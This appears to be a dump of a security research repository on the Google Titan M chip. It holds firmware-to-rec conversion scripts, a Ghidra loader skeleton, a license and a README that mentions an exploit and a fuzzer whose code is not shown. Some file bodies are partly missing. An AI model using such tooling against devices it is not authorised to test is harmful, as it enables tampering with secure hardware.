├── .gitignore ├── .gitmodules ├── BHEU_2021 ├── EU-21-Rossi_Bellom-2021_A_Titan_M_Odyssey-wp.pdf └── EU-21-Rossi_Bellom-2021_A_Titan_M_Odyssey.pdf ├── BHUSA_2022 └── Titan_BHUSA.pdf ├── LICENSE ├── README.md ├── ROOTS ├── DamianoMelotti_ReversingAndFuzzingTheGoogleTitanMChip_paper.pdf └── DamianoMelotti_ReversingAndFuzzingTheGoogleTitanMChip_slides.pdf ├── bin2rec ├── Readme.md ├── bin2rec.py └── extract-rw_a.py ├── citadelimgloader ├── Module.manifest ├── README.md ├── bin │ ├── README.txt │ ├── citadelimgloader │ │ ├── CitadelImgLoaderLoader.class │ │ └── SignedHeader.class │ ├── help │ │ ├── TOC_Source.xml │ │ ├── shared │ │ │ └── Frontpage.css │ │ └── topics │ │ │ └── citadelimgloader │ │ │ └── help.html │ └── images │ │ └── README.txt ├── build.gradle ├── data │ ├── README.txt │ ├── buildLanguage.xml │ ├── languages │ │ ├── skel.cspec │ │ ├── skel.ldefs │ │ ├── skel.opinion │ │ ├── skel.pspec │ │ ├── skel.sinc │ │ └── skel.slaspec │ ├── sleighArgs.txt │ └── symbols.xml ├── extension.properties ├── ghidra-screen.png ├── ghidra_scripts │ └── README.txt ├── lib │ └── README.txt ├── os │ ├── linux64 │ │ └── README.txt │ ├── osx64 │ │ └── README.txt │ └── win64 │ │ └── README.txt └── src │ ├── main │ ├── help │ │ └── help │ │ │ ├── TOC_Source.xml │ │ │ ├── shared │ │ │ └── Frontpage.css │ │ │ └── topics │ │ │ └── citadelimgloader │ │ │ └── help.html │ ├── java │ │ └── citadelimgloader │ │ │ ├── CitadelImgLoaderLoader.java │ │ │ └── SignedHeader.java │ └── resources │ │ └── images │ │ └── README.txt │ └── test │ └── java │ └── README.test.txt └── nugget_toolkit ├── CMakeLists.txt ├── Dockerfile ├── README.md ├── buildAll.sh ├── client ├── keyblob_utils.cpp ├── keyblob_utils.h ├── nosclient.cpp ├── utils.cpp └── utils.h ├── exploits ├── rop.cpp └── rop.h ├── external ├── CMakeLists.txt ├── configs │ ├── android │ │ └── config.h │ ├── config-protobuf.sh │ ├── libnos.patch │ ├── libnos_datagram.patch │ └── libnos_transport.patch ├── keymint │ ├── Algorithm.h │ ├── BlockMode.h │ ├── DeviceInfo.h │ ├── Digest.h │ ├── EcCurve.h │ ├── KeyOrigin.h │ ├── KeyPurpose.h │ ├── PaddingMode.h │ ├── Tag.h │ └── TagType.h └── libnos_protobuf_cpp │ └── nugget │ ├── app │ ├── avb │ │ ├── avb.pb-c.c │ │ ├── avb.pb-c.h │ │ ├── avb.pb.cc │ │ └── avb.pb.h │ ├── identity │ │ ├── identity.pb.cc │ │ ├── identity.pb.h │ │ ├── identity_defs.pb.cc │ │ ├── identity_defs.pb.h │ │ ├── identity_types.pb.cc │ │ └── identity_types.pb.h │ ├── keymaster │ │ ├── keymaster.pb.cc │ │ ├── keymaster.pb.h │ │ ├── keymaster_defs.pb.cc │ │ ├── keymaster_defs.pb.h │ │ ├── keymaster_types.pb.cc │ │ └── keymaster_types.pb.h │ ├── protoapi │ │ ├── control.pb.cc │ │ ├── control.pb.h │ │ ├── diagnostics_api.pb.cc │ │ ├── diagnostics_api.pb.h │ │ ├── gchips_types.pb.cc │ │ ├── gchips_types.pb.h │ │ ├── header.pb.cc │ │ ├── header.pb.h │ │ ├── testing_api.pb.cc │ │ └── testing_api.pb.h │ └── weaver │ │ ├── weaver.pb-c.c │ │ ├── weaver.pb-c.h │ │ ├── weaver.pb.cc │ │ └── weaver.pb.h │ └── protobuf │ ├── options.pb-c.c │ ├── options.pb-c.h │ ├── options.pb.cc │ └── options.pb.h ├── fuzzer ├── README.md ├── fuzz.cpp ├── fuzz.h ├── libradamsa.c └── radamsa.h ├── jni └── include │ └── log.h ├── nostypes ├── nostypes.cpp ├── nostypes.h ├── nosutils.cpp └── nosutils.h ├── parser └── parser.cpp └── scripts ├── frida ├── callapp.js └── write_flash.js ├── leak.sh └── parse_signrok-csv.py /.gitignore: -------------------------------------------------------------------------------- 1 | out 2 | build 3 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "nugget_toolkit/external/libnos"] 2 | path = nugget_toolkit/external/libnos 3 | url = https://android.googlesource.com/platform/external/nos/host/generic 4 | [submodule "nugget_toolkit/external/protobuf"] 5 | path = nugget_toolkit/external/protobuf 6 | url = https://github.com/protocolbuffers/protobuf.git 7 | [submodule "nugget_toolkit/external/libprotobuf-mutator"] 8 | path = nugget_toolkit/external/libprotobuf-mutator 9 | url = https://github.com/google/libprotobuf-mutator.git 10 | [submodule "nugget_toolkit/external/sqlite"] 11 | path = nugget_toolkit/external/sqlite 12 | url = https://android.googlesource.com/platform/external/sqlite 13 | -------------------------------------------------------------------------------- /BHEU_2021/EU-21-Rossi_Bellom-2021_A_Titan_M_Odyssey-wp.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/titanm/7b6c2524600185a819b3f7b0113f258bcf0ff36a/BHEU_2021/EU-21-Rossi_Bellom-2021_A_Titan_M_Odyssey-wp.pdf -------------------------------------------------------------------------------- /BHEU_2021/EU-21-Rossi_Bellom-2021_A_Titan_M_Odyssey.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/titanm/7b6c2524600185a819b3f7b0113f258bcf0ff36a/BHEU_2021/EU-21-Rossi_Bellom-2021_A_Titan_M_Odyssey.pdf -------------------------------------------------------------------------------- /BHUSA_2022/Titan_BHUSA.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/titanm/7b6c2524600185a819b3f7b0113f258bcf0ff36a/BHUSA_2022/Titan_BHUSA.pdf -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Titan M tools 2 | In this repository, we publish the tools we used in our research on the Google Titan M chip. 3 | 4 | We presented our results at [Black Hat EU 21](https://www.blackhat.com/eu-21/briefings/schedule/index.html#-a-titan-m-odyssey-24471) and at the [ROOTS](https://roots-conference.org/) workshop within DeepSec. 5 | 6 | * [`citadelimgloader`](./citadelimgloader): the Ghidra loader for Titan M firmware files 7 | * [`nugget_toolkit`](./nugget_toolkit): the set of tools to trace messages and communicate with the chip (including an exploit for a known vulnerability and a fuzzer) 8 | * [`bin2rec`](./bin2rec): a set of scripts used to convert firmware files into rec files that can be used with the SPI rescue feature 9 | * [`BHEU_2021`](./BHEU_2021): the materials of our presentation at BlackHat Europe 2021 (the slides and the white paper) 10 | * [`BHUSA_2022`](./BHUSA_2022): the materials of our presentation at BlackHat USA 2022 11 | 12 | --- 13 | **NOTE** 14 | 15 | This project uses submodules. So after cloning the repository, do not forget to run: 16 | 17 | ```bash 18 | $ git submodule update --init --recursive 19 | ``` 20 | 21 | --- 22 | -------------------------------------------------------------------------------- /ROOTS/DamianoMelotti_ReversingAndFuzzingTheGoogleTitanMChip_paper.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/titanm/7b6c2524600185a819b3f7b0113f258bcf0ff36a/ROOTS/DamianoMelotti_ReversingAndFuzzingTheGoogleTitanMChip_paper.pdf -------------------------------------------------------------------------------- /ROOTS/DamianoMelotti_ReversingAndFuzzingTheGoogleTitanMChip_slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/titanm/7b6c2524600185a819b3f7b0113f258bcf0ff36a/ROOTS/DamianoMelotti_ReversingAndFuzzingTheGoogleTitanMChip_slides.pdf -------------------------------------------------------------------------------- /bin2rec/Readme.md: -------------------------------------------------------------------------------- 1 | # bin2rec 2 | 3 | Convert Citadel binary images into rec file that can be used for SPI rescue. 4 | 5 | # Usage 6 | 7 | * rec file to binary image 8 | 9 | ```bash 10 | $ python bin2rec.py -r ec-2020-02-07.rec ./rw_a-2020-02-10.bin 11 | ``` 12 | 13 | * binary image to rec file 14 | 15 | ```bash 16 | $ python extart-rw_a.py ec-2019-06-25.bin rw_a-2019-06-25.bin 17 | $ python bin2rec.py rw_a-2019-06-25.bin ./rw_a-2019-06-25.rec 18 | ``` 19 | 20 | Note that the rec file contains a single binary image (RW A) and not the full firmware. 21 | -------------------------------------------------------------------------------- /bin2rec/bin2rec.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python 2 | 3 | import hashlib 4 | import sys, getopt 5 | import os 6 | 7 | 8 | 9 | def formatBlock(block, count, addr): 10 | output = bytearray() 11 | temp = bytes() 12 | temp += count.to_bytes(4, byteorder='little') 13 | temp += addr.to_bytes(4, byteorder='little') 14 | temp += block 15 | 16 | hash_header = hashlib.sha256(temp).digest() 17 | if b'\x00' in hash_header: 18 | print("zero byte in hash header") 19 | 20 | output += bytearray(hash_header) 21 | output += bytearray(temp) 22 | hash_footer = hashlib.sha256(bytes(output)).digest() 23 | hash2 = hash_footer.replace(b'\x00', b'\x01') # replace zero byte 24 | output += bytearray(hash2) 25 | 26 | return bytes(output) 27 | 28 | def bin2rec(inputfile, outputfile, start_count, start_address): 29 | stat = os.stat(inputfile) 30 | rest = stat.st_size % 0x3d8 31 | 32 | fin = open(inputfile,'rb') 33 | fout = open(outputfile, 'wb') 34 | count = start_count 35 | addr = start_address 36 | fblock = bytes() 37 | 38 | while True: 39 | block = fin.read(0x3d8) # reading blocks of 0x3d8 40 | if not block or len(block) != 0x3d8: 41 | print('Reached EOF') 42 | break; 43 | 44 | fblock = formatBlock(block, count, addr) 45 | fout.write(fblock) 46 | count += 1 47 | addr += 0x3d8 48 | 49 | if rest != 0: 50 | print("Add padding (" + str(rest)+ ")") 51 | block += bytes([0xff for i in range(0x3d8 - rest)]) 52 | count += 0x80000000 # last block index is always bigger 53 | fblock = formatBlock(block, count, addr) 54 | fout.write(fblock) 55 | 56 | fin.close() 57 | fout.close() 58 | 59 | def getData(block): 60 | count = block[0x20:0x24] 61 | addr = block[0x24:0x28] 62 | data = block[0x28:0x400] 63 | return data 64 | 65 | def rec2bin(inputfile, outputfile): 66 | 67 | fin = open(inputfile,'rb') 68 | fout = open(outputfile, 'wb') 69 | count = 0 70 | data = bytes() 71 | 72 | while True: 73 | block = fin.read(0x420) 74 | if not block: 75 | break; 76 | # TODO verify hashes 77 | data = getData(block) 78 | fout.write(data) 79 | 80 | fin.close() 81 | fout.close() 82 | 83 | def main(argv): 84 | inputfile = '' 85 | outputfile = '' 86 | start_count = 0 87 | reverse = False 88 | start_address = 0x4000 89 | 90 | try: 91 | opts, args = getopt.getopt(argv,"hcar",[]) 92 | except getopt.GetoptError: 93 | print('Parsing issue') 94 | sys.exit(2) 95 | 96 | if len (args) < 2: 97 | print('bin2rec.py [-c ] [-a ] [-r] ') 98 | sys.exit(2) 99 | 100 | 101 | for opt, arg in opts: 102 | if opt == '-h': 103 | print('bin2rec.py [-c ] [-a ] ') 104 | sys.exit() 105 | elif opt == '-c': 106 | start_count = int(arg, base=16) 107 | elif opt == '-a': 108 | address = int(arg, base=16) 109 | elif opt == '-r': 110 | reverse = True 111 | 112 | inputfile = args[0] 113 | outputfile = args[1] 114 | if not reverse: 115 | bin2rec(inputfile, outputfile, start_count, start_address) 116 | else: 117 | rec2bin(inputfile, outputfile) 118 | 119 | if __name__ == "__main__": 120 | main(sys.argv[1:]) 121 | 122 | -------------------------------------------------------------------------------- /bin2rec/extract-rw_a.py: -------------------------------------------------------------------------------- 1 | #!/bin/env python3 2 | 3 | import sys, getopt 4 | import struct 5 | 6 | IMG_OFFSET = 0x4000 7 | RO_MAX_OFFSET = 0x330 8 | 9 | def extract(in_file, out_file): 10 | size = -1 11 | f = open(in_file, 'rb') 12 | 13 | # get image size 14 | f.seek(IMG_OFFSET + RO_MAX_OFFSET) # move to the size of the image 15 | size = struct.unpack('= 0x40000): 18 | print("Wrong image size.") 19 | exit() 20 | 21 | # dump image 22 | f.seek(IMG_OFFSET) 23 | rw_a = f.read(size + 1) 24 | f.close() 25 | 26 | out = open(out_file, 'wb') 27 | out.write(rw_a) 28 | out.close() 29 | 30 | def main(argv): 31 | inputfile = '' 32 | outputfile = '' 33 | 34 | try: 35 | opts, args = getopt.getopt(argv,"h",[]) 36 | except getopt.GetoptError: 37 | print('Parsing issue') 38 | sys.exit(2) 39 | 40 | if len (args) < 2: 41 | print('extract-rw_a.py ') 42 | sys.exit(2) 43 | 44 | 45 | for opt, arg in opts: 46 | if opt == '-h': 47 | print('extract-rw_a.py ') 48 | sys.exit() 49 | 50 | extract(args[0], args[1]) 51 | 52 | 53 | if __name__ == "__main__": 54 | main(sys.argv[1:]) 55 | 56 | -------------------------------------------------------------------------------- /citadelimgloader/Module.manifest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/titanm/7b6c2524600185a819b3f7b0113f258bcf0ff36a/citadelimgloader/Module.manifest -------------------------------------------------------------------------------- /citadelimgloader/README.md: -------------------------------------------------------------------------------- 1 | # Ghidra loader for Titan M firmwares 2 | 3 | This is a simple module for Ghidra allowing to load firmwares for Titan M (a.k.a Citadel). 4 | 5 | ![Ghidra Loader selected](ghidra-screen.png) 6 | 7 | ## Build 8 | 9 | ```bash 10 | $ export GHIDRA_INSTALL_DIR= 11 | $ gradle 12 | $ cp dist/.zip $GHIDRA_INSTALL_DIR/Extensions/Ghidra/ 13 | $ # enable new extensions in Files -> Install Extensions... then restart Ghidra 14 | ``` 15 | 16 | -------------------------------------------------------------------------------- /citadelimgloader/bin/README.txt: -------------------------------------------------------------------------------- 1 | Java source directory to hold module-specific Ghidra scripts. 2 | -------------------------------------------------------------------------------- /citadelimgloader/bin/citadelimgloader/CitadelImgLoaderLoader.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/titanm/7b6c2524600185a819b3f7b0113f258bcf0ff36a/citadelimgloader/bin/citadelimgloader/CitadelImgLoaderLoader.class -------------------------------------------------------------------------------- /citadelimgloader/bin/citadelimgloader/SignedHeader.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/titanm/7b6c2524600185a819b3f7b0113f258bcf0ff36a/citadelimgloader/bin/citadelimgloader/SignedHeader.class -------------------------------------------------------------------------------- /citadelimgloader/bin/help/TOC_Source.xml: -------------------------------------------------------------------------------- 1 | 2 | 49 | 50 | 51 | 52 | 57 | 58 | -------------------------------------------------------------------------------- /citadelimgloader/bin/help/shared/Frontpage.css: -------------------------------------------------------------------------------- 1 | /* ### 2 | * IP: GHIDRA 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | /* 17 | WARNING! 18 | This file is copied to all help directories. If you change this file, you must copy it 19 | to each src/main/help/help/shared directory. 20 | 21 | 22 | Java Help Note: JavaHelp does not accept sizes (like in 'margin-top') in anything but 23 | px (pixel) or with no type marking. 24 | 25 | */ 26 | 27 | body { margin-bottom: 50px; margin-left: 10px; margin-right: 10px; margin-top: 10px; } /* some padding to improve readability */ 28 | li { font-family:times new roman; font-size:14pt; } 29 | h1 { color:#000080; font-family:times new roman; font-size:36pt; font-style:italic; font-weight:bold; text-align:center; } 30 | h2 { margin: 10px; margin-top: 20px; color:#984c4c; font-family:times new roman; font-size:18pt; font-weight:bold; } 31 | h3 { margin-left: 10px; margin-top: 20px; color:#0000ff; font-family:times new roman; font-size:14pt; font-weight:bold; } 32 | h4 { margin-left: 10px; margin-top: 20px; font-family:times new roman; font-size:14pt; font-style:italic; } 33 | 34 | /* 35 | P tag code. Most of the help files nest P tags inside of blockquote tags (the was the 36 | way it had been done in the beginning). The net effect is that the text is indented. In 37 | modern HTML we would use CSS to do this. We need to support the Ghidra P tags, nested in 38 | blockquote tags, as well as naked P tags. The following two lines accomplish this. Note 39 | that the 'blockquote p' definition will inherit from the first 'p' definition. 40 | */ 41 | p { margin-left: 40px; font-family:times new roman; font-size:14pt; } 42 | blockquote p { margin-left: 10px; } 43 | 44 | p.providedbyplugin { color:#7f7f7f; margin-left: 10px; font-size:14pt; margin-top:100px } 45 | p.ProvidedByPlugin { color:#7f7f7f; margin-left: 10px; font-size:14pt; margin-top:100px } 46 | p.relatedtopic { color:#800080; margin-left: 10px; font-size:14pt; } 47 | p.RelatedTopic { color:#800080; margin-left: 10px; font-size:14pt; } 48 | 49 | /* 50 | We wish for a tables to have space between it and the preceding element, so that text 51 | is not too close to the top of the table. Also, nest the table a bit so that it is clear 52 | the table relates to the preceding text. 53 | */ 54 | table { margin-left: 20px; margin-top: 10px; width: 80%;} 55 | td { font-family:times new roman; font-size:14pt; vertical-align: top; } 56 | th { font-family:times new roman; font-size:14pt; font-weight:bold; background-color: #EDF3FE; } 57 | 58 | code { color: black; font-family: courier new; font-size: 14pt; } 59 | -------------------------------------------------------------------------------- /citadelimgloader/bin/help/topics/citadelimgloader/help.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | 8 | 9 | 10 | 11 | 12 | Skeleton Help File for a Module 13 | 14 | 15 | 16 | 17 |

Skeleton Help File for a Module

18 | 19 |

This is a simple skeleton help topic. For a better description of what should and should not 20 | go in here, see the "sample" Ghidra extension in the Extensions/Ghidra directory, or see your 21 | favorite help topic. In general, language modules do not have their own help topics.

22 | 23 | 24 | -------------------------------------------------------------------------------- /citadelimgloader/bin/images/README.txt: -------------------------------------------------------------------------------- 1 | The "src/resources/images" directory is intended to hold all image/icon files used by 2 | this module. 3 | -------------------------------------------------------------------------------- /citadelimgloader/build.gradle: -------------------------------------------------------------------------------- 1 | // Builds a Ghidra Extension for a given Ghidra installation. 2 | // 3 | // An absolute path to the Ghidra installation directory must be supplied either by setting the 4 | // GHIDRA_INSTALL_DIR environment variable or Gradle project property: 5 | // 6 | // > export GHIDRA_INSTALL_DIR= 7 | // > gradle 8 | // 9 | // or 10 | // 11 | // > gradle -PGHIDRA_INSTALL_DIR= 12 | // 13 | // Gradle should be invoked from the directory of the project to build. Please see the 14 | // application.gradle.version property in /Ghidra/application.properties 15 | // for the correction version of Gradle to use for the Ghidra installation you specify. 16 | 17 | //----------------------START "DO NOT MODIFY" SECTION------------------------------ 18 | def ghidraInstallDir 19 | 20 | if (System.env.GHIDRA_INSTALL_DIR) { 21 | ghidraInstallDir = System.env.GHIDRA_INSTALL_DIR 22 | } 23 | else if (project.hasProperty("GHIDRA_INSTALL_DIR")) { 24 | ghidraInstallDir = project.getProperty("GHIDRA_INSTALL_DIR") 25 | } 26 | 27 | if (ghidraInstallDir) { 28 | apply from: new File(ghidraInstallDir).getCanonicalPath() + "/support/buildExtension.gradle" 29 | } 30 | else { 31 | throw new GradleException("GHIDRA_INSTALL_DIR is not defined!") 32 | } 33 | //----------------------END "DO NOT MODIFY" SECTION------------------------------- 34 | -------------------------------------------------------------------------------- /citadelimgloader/data/README.txt: -------------------------------------------------------------------------------- 1 | The "data" directory is intended to hold data files that will be used by this module and will 2 | not end up in the .jar file, but will be present in the zip or tar file. Typically, data 3 | files are placed here rather than in the resources directory if the user may need to edit them. 4 | 5 | An optional data/languages directory can exist for the purpose of containing various Sleigh language 6 | specification files and importer opinion files. 7 | 8 | The data/buildLanguage.xml is used for building the contents of the data/languages directory. 9 | 10 | The skel language definition has been commented-out within the skel.ldefs file so that the 11 | skeleton language does not show-up within Ghidra. 12 | 13 | See the Sleigh language documentation (docs/languages/index.html) for details Sleigh language 14 | specification syntax. 15 | -------------------------------------------------------------------------------- /citadelimgloader/data/buildLanguage.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /citadelimgloader/data/languages/skel.cspec: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | -------------------------------------------------------------------------------- /citadelimgloader/data/languages/skel.ldefs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 20 | 21 | -------------------------------------------------------------------------------- /citadelimgloader/data/languages/skel.opinion: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 12 | 13 | -------------------------------------------------------------------------------- /citadelimgloader/data/languages/skel.pspec: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 